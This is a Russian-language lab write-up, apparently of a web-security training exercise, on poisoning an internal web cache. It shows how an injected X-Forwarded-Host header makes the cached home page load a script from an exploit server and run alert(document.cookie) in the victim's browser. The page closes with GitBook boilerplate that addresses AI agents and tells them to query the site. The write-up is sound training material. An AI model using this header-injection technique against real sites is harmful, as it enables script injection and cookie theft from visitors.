> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/internal-cache-poisoning.md).

# Внутреннее отравление кэша

### Отравление внутреннего кэша

Этот лаб уязвим к отравлению веб-кэша и использует несколько уровней кэша. / Пользователь регулярно посещает главную страницу сайта в Chrome.

Цель — отравить **внутренний кэш** так, чтобы главная страница выполняла `alert(document.cookie)` в браузере жертвы.

**Первичный анализ**

Мы перехватываем запрос к корню (`/`) и анализируем с помощью **Param Miner**

<figure><img src="/files/f776058b9e792cfaacc65321ee11826f37b55c6b" alt=""><figcaption></figcaption></figure>

**Наблюдение за поведением**

Когда мы добавляем следующий заголовок к запросу:

<figure><img src="/files/86bb7e431bf34f232bc8ae12084bf9271ee0c9fa" alt=""><figcaption></figcaption></figure>

Мы замечаем, что ответ сервера отражает это значение.

```http
X-Forwarded-Host: test.com
```

<figure><img src="/files/65048efd2f32e2c45ea8a7bc654afdaecf06d30e" alt=""><figcaption></figcaption></figure>

Однако это изменение видно только если заголовок сохраняется при внутренних запросах.

Отправляя многочисленные запросы с этим заголовком, сервер в итоге **кэширует внутренний ответ**.

\*\* Влияние на кэшированное содержимое\*\*

Скрипт, изначально загружаемый в виде:

{% code overflow="wrap" %}

```html
<script src=
//0a3e00ba04f2869b810cbcb30088000a.web-security-academy.net/js/geolocate.js?callback=loadCountry>
</script>
```

{% endcode %}

После отравления кэша преобразуется в:

```html
<script src=
//test.com/js/geolocate.js?callback=loadCountry>
</script>
```

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="/files/52d935e728765c4522abf28182e285b7edba228a" alt=""><figcaption></figcaption></figure>

Источник скрипта теперь зависит от значения, внедренного через `X-Forwarded-Host`.

```http
X-Forwarded-Host: exploit-0a27006104d786ef8150bbc601bd0070.exploit-server.net
```

Внутренний кэш отравлен вредоносным ответом. / Когда жертва посещает главную страницу, браузер загружает скрипт с нашего сервера, в результате чего выполняется:

```javascript
alert(document.cookie)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/cache-poisoning/internal-cache-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
